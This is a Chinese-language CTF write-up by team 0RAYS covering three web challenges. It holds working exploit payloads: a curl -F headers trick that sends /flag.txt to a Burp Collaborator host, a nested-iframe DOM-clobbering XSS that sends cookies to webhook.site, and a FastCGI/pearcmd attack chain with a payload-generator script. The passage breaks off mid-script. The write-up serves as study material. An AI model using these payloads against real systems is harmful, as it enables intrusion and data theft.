战队:0RAYS
排名:16
Web
RaaS-v1
题目源码:
<?php
if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){
die('curl :thonk:');
}
$url = 'http://localhost';
$method = 'GET';
$formParams = [];
if(isset($_GET['url'])){
$url = $_GET['url'];
}
if(isset($_GET['method'])){
$method = $_GET['method'];
}
if(isset($_GET['formParams'])){
$formParams = $_GET['formParams'];
}
$cmd = 'curl ';
$cmd .= '--proto -file ';
$cmd .= escapeshellarg($url).' ';
$cmd .= '-X ';
$cmd .= escapeshellarg($method).' ';
foreach($formParams as $key => $value){
if(preg_match("/^\w+$/",$key)){
$cmd .= '-F ';
$cmd .= escapeshellarg($key.'= '.$value);
}
}
header('Content-Type: text/plain');
system($cmd);
考察看文档能力https://curl.se/docs/manpage.html#-F
可以看到-F参数是可以指定本机文件进行发送的,但是题目中:
$cmd .= escapeshellarg($key.'= '.$value);
=号后加了空格,导致不能直接通过发文件的形式读取flag
翻阅文档,可以看到,headers参数也可以读取本机文件。
payload:
http://raas-v1.asisctf.com:9000/?url=https://3sw5lub27zg8aeffl8bc7hupegk98y.burpcollaborator.net&method=POST&formParams[file]=submit=OK;headers=@/flag.txt
h.n.y
题目源码
index.html
<html>
<head>
<title>hi</title>
</head>
<body>
<h1>definitely not vulnerable to XSS</h1>
<div>
MSG
</div>
<script nonce="$nonce$">
try{
eval(window.h.a.p.p.y._.n.e.w._.y.e.a.r._.h.a.c.k.e.r.s.toString())
}catch(e){}
</script>
</body>
</html>
index.js
#!/usr/bin/env node
const express = require('express')
const crypto = require('crypto')
const { visit } = require('./bot')
const app = express()
const reportIpsList = new Map()
const indexTemplate = require('fs').readFileSync('./index.html').toString()
const now = ()=>Math.floor(+new Date()/1000)
app.use((req,res,next)=>{
res.locals.nonce = crypto.randomBytes(16).toString("hex")
res.setHeader('Content-Security-Policy',`default-src 'self'; script-src 'unsafe-eval' 'nonce-${res.locals.nonce}' `)
res.setHeader('X-Frame-Options','DENY')
next()
})
app.get('/',(req,res)=>{
let s = indexTemplate.replace('$nonce$',()=>res.locals.nonce)
s = s.replace('MSG',()=>(req.query.p ?? '<code>( ˘▽˘)っ♨</code>').slice(0,0x1000))
res.send(s)
})
app.get('/hack',(req,res)=>{
if(reportIpsList.has(req.ip) && reportIpsList.get(req.ip)+60 > now()){
return res.send(`Please comeback ${reportIpsList.get(req.ip)+60-now()}s later!`)
}
reportIpsList.set(req.ip,now())
visit(req.query.p.toString())
res.send('ok')
})
app.listen(9000,_=>{
console.log('[+] Listening on 9000')
})
bot.js
#!/usr/bin/env node
const puppeteer = require('puppeteer')
const flag = process.env.FLAG ?? 'flag{test-flag}'
async function visit(url){
let browser
if(!/^https?:\/\//.test(url)){
return;
}
try {
browser = await puppeteer.launch({
pipe: true,
args: [
"--no-sandbox",
"--disable-setuid-sandbox",
"--js-flags=--noexpose_wasm,--jitless",
],
executablePath: "/usr/bin/google-chrome",
})
let page = await browser.newPage()
await page.setCookie({name: 'flag', value: flag, domain: 'localhost'})
await page.goto(url, { timeout: 1000, waitUntil: 'domcontentloaded' })
await new Promise((r)=>setTimeout(r,3000))
await page.close()
await browser.close()
browser = null
} catch(err){
console.log(err)
} finally {
if (browser) await browser.close()
}
}
exports.visit = visit
visit函数,携带有flag的cookie访问我们指定的url,但是限制了localhost这个域
let page = await browser.newPage() //访问url
await page.setCookie({name: 'flag', value: flag, domain: 'localhost'}) //限制
await page.goto(url, { timeout: 1000, waitUntil: 'domcontentloaded' })
await new Promise((r)=>setTimeout(r,3000))
await page.close()
await browser.close()
这个让他内部访问 http://localhost:9000 就行了
关键是xss把flag外带出来,有CSP限制
CSP限制了js代码执行域
只能在这里执行
参数q可控,可以写html, dom clobbering
用脚本生成 https://github.com/splitline/DOM-Clobber3r
dom clobbering 让 window.h.a.p.p.y._.n.e.w._.y.e.a.r._.h.a.c.k.e.r.s
的值为我们要执行的js代码
Exp (必须要dom完全加载完才行,后面打若干个 <link rel="stylesheet" href="style.css">
阻塞)
payload
<iframe name=window srcdoc="
<iframe name=h srcdoc="
<iframe name=a srcdoc=&quot;
<iframe name=p srcdoc=&amp;quot;
<iframe name=p srcdoc=&amp;amp;quot;
<iframe name=y srcdoc=&amp;amp;amp;quot;
<iframe name=_ srcdoc=&amp;amp;amp;amp;quot;
<iframe name=n srcdoc=&amp;amp;amp;amp;amp;quot;
<iframe name=e srcdoc=&amp;amp;amp;amp;amp;amp;quot;
<iframe name=w srcdoc=&amp;amp;amp;amp;amp;amp;amp;quot;
<iframe name=_ srcdoc=&amp;amp;amp;amp;amp;amp;amp;amp;quot;
<iframe name=y srcdoc=&amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;
<iframe name=e srcdoc=&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;
<iframe name=a srcdoc=&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;
<iframe name=r srcdoc=&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;
<iframe name=_ srcdoc=&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;
<iframe name=h srcdoc=&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;
<iframe name=a srcdoc=&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;
<iframe name=c srcdoc=&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;
<iframe name=k srcdoc=&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;
<iframe name=e srcdoc=&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;
<iframe name=r srcdoc=&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;
<a id='s' href='javascript:location.href='https://webhook.site/#!/0f5dd29b-2df3-4991-9a5b-3ac43c2ed65b/'+document.cookie'></a>
&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;></iframe>
&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;></iframe>
&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;></iframe>
&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;></iframe>
&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;></iframe>
&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;></iframe>
&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;></iframe>
&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;></iframe>
&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;></iframe>
&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;></iframe>
&amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;></iframe>
&amp;amp;amp;amp;amp;amp;amp;amp;quot;></iframe>
&amp;amp;amp;amp;amp;amp;amp;quot;></iframe>
&amp;amp;amp;amp;amp;amp;quot;></iframe>
&amp;amp;amp;amp;amp;quot;></iframe>
&amp;amp;amp;amp;quot;></iframe>
&amp;amp;amp;quot;></iframe>
&amp;amp;quot;></iframe>
&amp;quot;></iframe>
&quot;></iframe>
"></iframe>
"></iframe>
url二次编码
http://5.75.142.234:9000/hack?p=http%3A%2F%2Flocalhost%3A9000%3Fp%3D%253Ciframe%2520name%253Dh%2520srcdoc%253D%2522%253Ciframe%2520name%253Da%2520srcdoc%253D%2526quot%253B%253Ciframe%2520name%253Dp%2520srcdoc%253D%2526amp%253Bquot%253B%253Ciframe%2520name%253Dp%2520srcdoc%253D%2526amp%253Bamp%253Bquot%253B%253Ciframe%2520name%253Dy%2520srcdoc%253D%2526amp%253Bamp%253Bamp%253Bquot%253B%253Ciframe%2520name%253D%255F%2520srcdoc%253D%2526amp%253Bamp%253Bamp%253Bamp%253Bquot%253B%253Ciframe%2520name%253Dn%2520srcdoc%253D%2526amp%253Bamp%253Bamp%253Bamp%253Bamp%253Bquot%253B%253Ciframe%2520name%253De%2520srcdoc%253D%2526amp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bquot%253B%253Ciframe%2520name%253Dw%2520srcdoc%253D%2526amp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bquot%253B%253Ciframe%2520name%253D%255F%2520srcdoc%253D%2526amp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bquot%253B%253Ciframe%2520name%253Dy%2520srcdoc%253D%2526amp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bquot%253B%253Ciframe%2520name%253De%2520srcdoc%253D%2526amp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bquot%253B%253Ciframe%2520name%253Da%2520srcdoc%253D%2526amp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bquot%253Ciframe%2520name%253Dr%2520srcdoc%253D%2526amp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bquot%253Ciframe%2520name%253D%255F%2520srcdoc%253D%2526amp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bquot%253B%253Ciframe%2520name%253Dh%2520srcdoc%253D%2526amp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bquot%253B%253Ciframe%2520name%253Da%2520srcdoc%253D%2526amp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bquot%253B%253Ciframe%2520name%253Dc%2520srcdoc%253D%2526amp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bquot%253B%253Ciframe%2520name%253Dk%2520srcdoc%253D%2526amp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bquot%253B%253Ciframe%2520name%253De%2520srcdoc%253D%2526amp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bquot%253B%253Ciframe%2520name%253Dr%2520srcdoc%253D%2526amp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bquot%253B%253Ca%2520id%253D%2527s%2527%2520href%253Djavascript%253Alocation%252Ehref%253D%2527https%253A%252F%252Fwebhook%252Esite%252F0f5dd29b%252D2df3%252D4991%252D9a5b%252D3ac43c2ed65b%252F%2527%252Bdocument%252Ecookie%253E%253C%252Fa%253E%2526amp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bquot%253B%253E%253C%252Fiframe%253E%2526amp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bquot%253B%253E%253C%252Fiframe%253E%2526amp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bquot%253B%253E%253C%252Fiframe%253E%2526amp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bquot%253B%253E%253C%252Fiframe%253E%2526amp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bquot%253B%253E%253C%252Fiframe%253E%2526amp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bquot%253B%253E%253C%252Fiframe%253E%2526amp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bquot%253B%253E%253C%252Fiframe%253E%2526amp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bquot%253B%253E%253C%252Fiframe%253E%2526amp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bquot%253B%253E%253C%252Fiframe%253E%2526amp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bquot%253B%253E%253C%252Fiframe%253E%2526amp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bquot%253B%253E%253C%252Fiframe%253E%2526amp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bquot%253B%253E%253C%252Fiframe%253E%2526amp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bquot%253B%253E%253C%252Fiframe%253E%2526amp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bquot%253B%253E%253C%252Fiframe%253E%2526amp%253Bamp%253Bamp%253Bamp%253Bamp%253Bquot%253B%253E%253C%252Fiframe%253E%2526amp%253Bamp%253Bamp%253Bamp%253Bquot%253B%253E%253C%252Fiframe%253E%2526amp%253Bamp%253Bamp%253Bquot%253B%253E%253C%252Fiframe%253E%2526amp%253Bamp%253Bquot%253B%253E%253C%252Fiframe%253E%2526amp%253Bquot%253B%253E%253C%252Fiframe%253E%2526quot%253B%253E%253C%252Fiframe%253E%2522%253E%253C%252Fiframe%253E%253Clink%2520rel%253D%2522stylesheet%2522%2520href%253D%2522style%252Ecss%2522%253E%253Clink%2520rel%253D%2522stylesheet%2522%2520href%253D%2522style%252Ecss%2522%253E%253Clink%2520rel%253D%2522stylesheet%2522%2520href%253D%2522style%252Ecss%2522%253E%253Clink%2520rel%253D%2522stylesheet%2522%2520href%253D%2522style%252Ecss%2522%253E%253Clink%2520rel%253D%2522stylesheet%2522%2520href%253D%2522style%252Ecss%2522%253E%253Clink%2520rel%253D%2522stylesheet%2522%2520href%253D%2522style%252Ecss%2522%253E%253Clink%2520rel%253D%2522stylesheet%2522%2520href%253D%2522style%252Ecss%2522%253E%253Clink%2520rel%253D%2522stylesheet%2522%2520href%253D%2522style%252Ecss%2522%253E%253Clink%2520rel%253D%2522stylesheet%2522%2520href%253D%2522style%252Ecss%2522%253E%253Clink%2520rel%253D%2522stylesheet%2522%2520href%253D%2522style%252Ecss%2522%253E%253Clink%2520rel%253D%2522stylesheet%2522%2520href%253D%2522style%252Ecss%2522%253E%253Clink%2520rel%253D%2522stylesheet%2522%2520href%253D%2522style%252Ecss%2522%253E%253Clink%2520rel%253D%2522stylesheet%2522%2520href%253D%2522style%252Ecss%2522%253E%253Clink%2520rel%253D%2522stylesheet%2522%2520href%253D%2522style%252Ecss%2522%253E%253Clink%2520rel%253D%2522stylesheet%2522%2520href%253D%2522style%252Ecss%2522%253E%253Clink%2520rel%253D%2522stylesheet%2522%2520href%253D%2522style%252Ecss%2522%253E%253Clink%2520rel%253D%2522stylesheet%2522%2520href%253D%2522style%252Ecss%2522%253E%253Clink%2520rel%253D%2522stylesheet%2522%2520href%253D%2522style%252Ecss%2522%253E%253Clink%2520rel%253D%2522stylesheet%2522%2520href%253D%2522style%252Ecss%2522%253E%253Clink%2520rel%253D%2522stylesheet%2522%2520href%253D%2522style%252Ecss%2522%253E%253Clink%2520rel%253D%2522stylesheet%2522%2520href%253D%2522style%252Ecss%2522%253E%253Clink%2520rel%253D%2522stylesheet%2522%2520href%253D%2522style%252Ecss%2522%253E%253Clink%2520rel%253D%2522stylesheet%2522%2520href%253D%2522style%252Ecss%2522%253E%253Clink%2520rel%253D%2522stylesheet%2522%2520href%253D%2522style%252Ecss%2522%253E%253Clink%2520rel%253D%2522stylesheet%2522%2520href%253D%2522style%252Ecss%2522%253E%253Clink%2520rel%253D%2522stylesheet%2522%2520href%253D%2522style%252Ecss%2522%253E%253Clink%2520rel%253D%2522stylesheet%2522%2520href%253D%2522style%252Ecss%2522%253E%253Clink%2520rel%253D%2522stylesheet%2522%2520href%253D%2522style%252Ecss%2522%253E%253Clink%2520rel%253D%2522stylesheet%2522%2520href%253D%2522style%252Ecss%2522%253E%253Clink%2520rel%253D%2522stylesheet%2522%2520href%253D%2522style%252Ecss%2522%253E%253Clink%2520rel%253D%2522stylesheet%2522%2520href%253D%2522style%252Ecss%2522%253E
phphphphphp
题目源码
nginx.conf
server {
listen 80 default_server;
index index.php;
error_log /var/log/nginx/error.log;
access_log /var/log/nginx/access.log;
root /web/;
location ~ \.php$ {
try_files $uri =404;
fastcgi_split_path_info ^(.+\.php)(/.+)$;
fastcgi_pass fpm:9000;
fastcgi_index index.php;
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param PATH_INFO $fastcgi_path_info;
}
}
index.php
no pwn 🫠 <?php posix_setgid(1337) && posix_setuid(1337) && eval($_POST['y']."\n\ri said no pwn 😡😡😡") ?>
y=eval($_POST['a']);?>&a直接连上蚁剑,发现用户权限很低,无法新建文件,无法读取flag
可以看到对flag.txt权限只有500
然后找suid,看看能不能提权
发现只有以下
/bin/su
/bin/mount
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/passwd
然后就没什么思路了,以下为复现
参考:
https://tttang.com/archive/1775/
https://xz.aliyun.com/t/9544#toc-10
https://blog.carrot2.cn/2022/09/2022zjctf-preliminary.html
fpm跑在root下的,⽤fpm来执⾏php代码,利用浙江省赛的思路,打fastcgi
<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author Pierrick Charron <pierrick@webstart.fr>
* @version 1.0
*/
class FCGIClient
{
const VERSION_1 = 1;
const BEGIN_REQUEST = 1;
const ABORT_REQUEST = 2;
const END_REQUEST = 3;
const PARAMS = 4;
const STDIN = 5;
const STDOUT = 6;
const STDERR = 7;
const DATA = 8;
const GET_VALUES = 9;
const GET_VALUES_RESULT = 10;
const UNKNOWN_TYPE = 11;
const MAXTYPE = self::UNKNOWN_TYPE;
const RESPONDER = 1;
const AUTHORIZER = 2;
const FILTER = 3;
const REQUEST_COMPLETE = 0;
const CANT_MPX_CONN = 1;
const OVERLOADED = 2;
const UNKNOWN_ROLE = 3;
const MAX_CONNS = 'MAX_CONNS';
const MAX_REQS = 'MAX_REQS';
const MPXS_CONNS = 'MPXS_CONNS';
const HEADER_LEN = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9001) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1) /* version */
. chr($type) /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF) /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */
. chr($clen & 0xFF) /* contentLengthB0 */
. chr(0) /* paddingLength */
. chr(0) /* reserved */
. $content; /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version'] = ord($data{0});
$ret['type'] = ord($data{1});
$ret['requestId'] = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved'] = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
// $this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
//echo('data='.urlencode($request));
echo(base64_encode($request)); //因为数据放到fsockopen中是要进行base64解码的,我们直接在这里进行编码
}
}
?>
<?php
$filepath = "/usr/local/lib/php/pearcmd.php";
//$filepath = "/var/www/html/flag.php"; //调试用
$req = '/' . basename($filepath);
$uri = $req . '?' . '+config-create+/<?=system("cat /flag.txt")?>+/dev/tarn.php';//payload
$client = new FCGIClient("1111", 0);
$code = "<?php system('cat /flag.txt');?>"; //flag.php的post数据,只是看phpinfo是否被修改
$php_value = "auto_prepend_file=/flag.txt";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'POST',
'SCRIPT_FILENAME' => $filepath,
'SCRIPT_NAME' => $req,
'QUERY_STRING' => $uri, //url编码后的
'REQUEST_URI' => $uri,
'DOCUMENT_URI' => $req,
#'DOCUMENT_ROOT' => '/',
'PHP_ADMIN_VALUE' => $php_value,
'PHP_VALUE' => $php_value,
'SERVER_SOFTWARE' => '80sec/wofeiwo',
'REMOTE_ADDR' => '127.0.0.1',
'REMOTE_PORT' => '9000',
'SERVER_ADDR' => '127.0.0.1',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'localhost',
'SERVER_PROTOCOL' => 'HTTP/1.1',
'CONTENT_LENGTH' => strlen($code),
'HTTP_HOST' => '127.0.0.1', //题目要求本地访问
'CONTENT_TYPE' => "application/x-www-form-urlencoded", //调试,表示$_POST有数据
);
echo $client->request($params, $code)."\n";
?>
用pearcmd
直接eval执行浙江省赛代码,用上面的脚本生成payload打Fastcgi
<?php
highlight_file(__FILE__);
$data = base64_decode($_GET['data']);
$host = '127.0.0.1';
$port = '9000';
$fp = fsockopen($host,intval($port),$errno, $errstr, 30);
if (!$fp) {
die();
}
else{
fwrite($fp, $data);
while (!feof($fp)) {
echo fgets($fp, 1288);
}
fclose($fp);
}
?>
以下代码为脚本关键,用以上代码打过去的作用:访问$filepath路径的php文件,url为$uri所指定的语句,这里使用pearcmd.php文件的config-create,创建文件写入命令。
<?php
$filepath = "/usr/local/lib/php/pearcmd.php";
//$filepath = "/var/www/html/flag.php"; //调试用
$req = '/' . basename($filepath);
$uri = $req . '?' . '+config-create+/<?=system("cat /flag.txt")?>+/dev/tarn.php';//payload
$client = new FCGIClient("1111", 0);
$code = "<?php system('cat /flag.txt');?>"; //flag.php的post数据,只是看phpinfo是否被修改
$php_value = "auto_prepend_file=/flag.txt";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'POST',
'SCRIPT_FILENAME' => $filepath,
'SCRIPT_NAME' => $req,
'QUERY_STRING' => $uri, //url编码后的
'REQUEST_URI' => $uri,
'DOCUMENT_URI' => $req,
#'DOCUMENT_ROOT' => '/',
'PHP_ADMIN_VALUE' => $php_value,
'PHP_VALUE' => $php_value,
'SERVER_SOFTWARE' => '80sec/wofeiwo',
'REMOTE_ADDR' => '127.0.0.1',
'REMOTE_PORT' => '9000',
'SERVER_ADDR' => '127.0.0.1',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'localhost',
'SERVER_PROTOCOL' => 'HTTP/1.1',
'CONTENT_LENGTH' => strlen($code),
'HTTP_HOST' => '127.0.0.1', //题目要求本地访问
'CONTENT_TYPE' => "application/x-www-form-urlencoded", //调试,表示$_POST有数据
);
echo $client->request($params, $code)."\n";
接下来修改该段,修改$filepath为已经写入命令的文件
<?php
$filepath = "/dev/tarn.php";
//$filepath = "/var/www/html/flag.php"; //调试用
$req = '/' . basename($filepath);
$uri = $req . '?' . '+config-create+/<?=system("cat /flag.txt")?>+/dev/tarn.php';//payload
$client = new FCGIClient("1111", 0);
$code = "<?php system('cat /flag.txt');?>"; //flag.php的post数据,只是看phpinfo是否被修改
$php_value = "auto_prepend_file=/flag.txt";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'POST',
'SCRIPT_FILENAME' => $filepath,
'SCRIPT_NAME' => $req,
